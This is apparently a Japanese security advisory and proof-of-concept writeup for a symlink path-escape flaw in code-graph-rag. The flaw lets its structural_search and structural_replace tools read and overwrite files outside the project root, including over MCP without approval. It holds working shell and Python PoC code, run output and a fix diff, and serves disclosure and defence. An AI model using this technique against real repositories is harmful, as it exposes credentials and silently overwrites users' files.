
PoC — code-graph-rag におけるプロジェクトルート外へのシンボリックリンク追従による任意ファイル読み書き (GHSA-85gg-2gfq-q95m, CVE-2026-87008, CVSS 7.1)。
CVEステータス: リクエスト済み、割り当て待ち。この脆弱性は GHSA-85gg-2gfq-q95m として公開されています。CVEが割り当てられた時点で、このリポジトリは
CVE-YYYY-NNNNN-code-graph-rag-PoCに改名され、このバナーはCVEリンクに置き換えられます。
| 研究者 | Dostxodjayev Abdullox (@squeeze440) |
| アドバイザリ | GHSA-85gg-2gfq-q95m |
| CVSS 3.1 | 7.1 (High) |
| 脆弱性 | CWE-59, CWE-22 |
概要
code-graph-rag が解析するソースコードリポジトリにシンボリックリンクを混入させることができるリモート/ローカルの攻撃者は、structural_search および structural_replace ツール(AstGrepService に支えられ、MCPツールおよびエージェント型AIツールの両方として公開されている)に、設定されたプロジェクトルート外の任意のファイルを読み取らせ、さらに structural_replace を dry_run=False で使用することで上書きさせることができます。これは、ツールのパス包含チェック(should_skip_path/_classify_file)が未解決のパスに対して字句的に実行され、プロジェクト自身の(正しい)validate_project_path デコレータが他の場所で行っているように Path.is_symlink() をチェックしたり .resolve() を呼び出したりすることが一切ないためです。
製品
vitali87/code-graph-rag (PyPI: code-graph-rag, CLI: cgr)
テスト済みバージョン
コミット 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (pyprojectバージョン 0.0.550) — テスト時点の現在の main。このコミットには、以前のアドバイザリ(GHSA-vvr2-h2jp-838m: ページネーションされた read_file のパストラバーサル)の修正と、より新しいHTTP-MCPベアラ認証ゲート(codebase_rag/mcp/server.py の _validate_http_exposure)が既に含まれていることを確認済みです。したがって、これはそれらの修正の上に残る、別個の未解決の問題です。
推定CVSS v3.1
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N — 7.0 (High)
自明でない指標:
structural_search/structural_replace を実行する必要があります。詳細
AstGrepService (codebase_rag/tools/ast_grep_service.py) は structural_search と structural_replace の両方のMCP/エージェント型ツールを支えています。これは os.walk() で候補ファイルを列挙し、各パスを should_skip_path() のみでゲートします:
codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) — os.walk() で self.project_root を走査します。os.walk が返す非ディレクトリのdirent(ディスク上のどこかを指すシンボリックリンクを含む)はすべて、スコープ内のファイルとして扱われます。codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) — 唯一の包含チェックは should_skip_path(...) に続く abs_path.relative_to(self.project_root)(82行目)です。abs_path は決して解決されないため、このチェックは純粋に字句的/文字列ベースです。codebase_rag/utils/path_utils.py:80-109 (should_skip_path) および codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) — .resolve() や Path.is_symlink() を一切呼び出さずに rel_path = file_path.relative_to(repo_path) を計算します。この関数内では、シンボリックリンクを実ファイルと異なる扱いにするものは何もありません。codebase_rag/tools/ast_grep_service.py:143-144 (search) — source = self._read(abs_path) は path.read_text() を呼び出し、Pythonはシンボリックリンクをその実ターゲットまで追跡します。そのターゲットがどこに存在していても関係ありません。codebase_rag/tools/ast_grep_service.py:187-208 (replace)、特に208行目 — dry_run=False のときの abs_path.write_text(new_source, ...) で、これもシンボリックリンクを追跡し、実ターゲットファイルの内容を上書きします。これは、コードベースの他の部分がまったく同じクラスのリスクを扱う方法と矛盾しています。ファイル読み取り/書き込み/編集ツール(file_reader.py、file_writer.py、file_editor.py)はすべて validate_project_path (codebase_rag/decorators.py:73-75) によって保護されています:
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)
.resolve() は包含チェックが実行される前にシンボリックリンクを追跡するため、これらのツールはルート外のターゲットを正しく拒否します。path_utils.py 自身の absolute_path_within_project_root() (codebase_rag/utils/path_utils.py:156-176) は、そのdocstringで同じ原則を明示的に文書化しています: 「resolve() の呼び出しは重要である: 包含は字句的にチェックされるため、未解決の .. セグメントやシンボリックリンクはルートを脱出してしまう。」 — しかし、structural_search/structural_replace が使用する should_skip_path()/AstGrepService は、そのパターンを一切適用していません。
2つのツールの到達可能性/露出:
structural_search (codebase_rag/tools/structural_search.py:24-46) は requires_approval フラグを一切持っていません — MCPクライアントのモデルは、人間の確認なしに自律的にこれを呼び出すことができます。structural_replace (codebase_rag/tools/structural_editor.py:52-57) は requires_approval=True とマークされていますが、そのフラグはpydantic-ai自身のエージェントループによってのみ強制されます。MCPサーバーのパスはそれを完全にバイパスします: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) は self._structural_editor_tool.function(...) を直接呼び出し、MCPツールは codebase_rag/mcp/tools.py:369-388(MCPToolName.STRUCTURAL_REPLACE の ToolMetadata)で承認の概念なしに登録されています — ツールを呼び出せるMCPクライアントは誰でも、structural_replace を dry_run=False で一発で呼び出すことができます。概念実証
インストール済みパッケージに対して動的に確認済み(Memgraphネイティブクライアントはこのコードパスには不要なため、mgclient/pymgclientは以前のアドバイザリのPoCとまったく同じようにモック化)。
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
# poc.py
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService
SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)
matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN' (read escape)
changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())
実際の実行出力(/tmp/poc_venv、テスト済みコミットから pip install --no-deps -e . でパッケージをインストール):
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
match in reported file='linked_module.py' text='API_TOKEN'
match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
structural_search(), attributed to a path 'inside' the project root.
[*] Calling AstGrepService.replace(pattern='API_TOKEN',
rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
wrote change to reported file='linked_module.py' matches=2
[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
(/tmp/poc_symlink/safe-project-root) was modified by structural_replace
via a symlink placed inside the root.
スクリーンショットはありません — これはブラウザ/GUIコンポーネントを持たない、純粋にライブラリ/CLIレベルの脆弱性です。
影響
cgr(CLI、エージェント型 ask_agent モード、またはMCPの structural_search/structural_replace ツール)を、完全には監査していないリポジトリに向ける運用者(まさにこのツールが作られたユースケース、「多言語コードベースのクエリ、理解、編集」)は、そのリポジトリに仕込まれたシンボリックリンクを利用され、以下のことを許してしまいます:
structural_search を介して、cgr プロセスが読み取り可能な任意のファイル(認証情報、SSHキー、.env ファイル、隣接プロジェクトのソース)の内容を開示させる。承認ゲートは一切ありません。structural_replace(dry_run=False) を介して、cgr プロセスが書き込み可能な任意のファイルの内容を上書きさせる。MCPプロトコル経由で呼び出された場合、ツール自身の承認ゲートをバイパスします。これはGHSA-vvr2-h2jp-838mと同じ「解析対象コードベース内の悪意のあるコンテンツがproject_rootを脱出する」バグクラスですが、根本原因は別個(AstGrepService/should_skip_path におけるシンボリックリンク解決の欠如、CWE-59)であり、別個の、より深刻なシンク(読み取りだけでなく任意書き込み)が別のコンポーネント(codebase_rag/mcp/tools.py のページネーションされた read_file ではなく、codebase_rag/tools/ast_grep_service.py + codebase_rag/utils/path_utils.py)に存在します。以前のアドバイザリの脆弱な行範囲や修正とは重複しません。
脆弱性
修正
validate_project_path (codebase_rag/decorators.py:73-75) および absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) が既に使用しているのと同じ、解決してから包含するパターンを should_skip_path に適用してください。未解決のパス文字列のみをチェックするのではなく、解決された(シンボリックリンクを追跡した)位置が解決済みプロジェクトルートを脱出するパスを拒否してください:
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
_is_file = path.is_file() if is_file is None else is_file
if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
return True
+ # Reject symlinks (or any path) that resolve outside the project root,
+ # mirroring validate_project_path's decorator (decorators.py:73-75) and
+ # absolute_path_within_project_root (this module, below).
+ try:
+ path.resolve().relative_to(repo_path.resolve())
+ except ValueError:
+ return True
rel_path = cached_relative_path(path, repo_path)
具体的には: should_skip_path におけるこの1つの変更が、_classify_file(search)と _iter_source_files(replace)の os.walk フィルタリングの両方を修正します。両方ともこれを経由するためです。多層防御として、_iter_source_files は os.walk 中にシンボリックリンクされたdirent(entry.is_symlink())を追加で完全にスキップすることもできます。AI駆動のコード解析ツールは、そもそもインデックスされたルートの外を走査する必要はないはずだからです。
クレジット
Dostxodjayev Abdullox (GitHub: squeeze440)
報告チャネル
Private Vulnerability Reporting (PVR) が vitali87/code-graph-rag で有効になっていることを確認済みです。この報告は、リポジトリの既存の公開アドバイザリ(GHSA-vvr2-h2jp-838m)と整合して、そのチャネル(GitHub Security Advisories)を通じて提出することを意図しています。